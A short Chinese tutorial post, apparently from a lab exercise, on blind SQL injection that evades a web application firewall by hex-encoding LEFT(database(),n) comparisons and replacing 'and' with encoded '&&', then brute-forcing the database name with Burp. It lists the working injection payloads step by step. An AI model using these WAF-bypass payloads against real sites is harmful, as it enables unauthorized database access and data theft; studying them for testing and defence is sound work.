1. 程式人生 > 實用技巧 >盲注 hex編碼繞waf(思路)

盲注 hex編碼繞waf(思路)

mysql分割函式有:substr、substring、left

當union、空格、and、or、註釋、substr被過濾的時候如下

可嘗試用編碼進行繞過,如URLEncode編碼,ASCII,HEX,unicode編碼繞過,上面程式碼沒有過濾left,可以用left加上hex進行繞過

這裡通過測試語句判斷出是數字型注入

錯誤則不顯示,用盲注試一下,

判斷資料庫長度語句:

/?id=1'%20 and (length(database()))=8--+

修改後:

?id=1%26%26hex(length(database()))>5

通過二分法得出資料庫長度為:4

接下來判斷資料庫名:可通過burp抓包爆破,payload為:

?id=1%26%26hex(left(database(),1))=1    //(left(database(),1)   1表示資料庫名第一位

第一個變數:資料庫長度

第二個變數:hex編碼

payload options [Brute forcer] 最小長度為1,最大長度為8.

當然,最快的方法是爆出一位,填payload裡再繼續爆破下一位。

payload options [Brute forcer]填8,是因為ascii編碼轉過來是2位,見下圖

這種爆破方式較慢,沒爆破完,結果如下:

payload為:

?id=1%26%26hex(left(database(),1))=74    //資料庫第1位
?id=1%26%26hex(left(database(),2))=7469  //資料庫第2位
?id=1%26%26hex(left(database(),3))=746970 // 資料庫第3位  

最後結果為:

通過ascii與hex對照表得出資料庫名:tips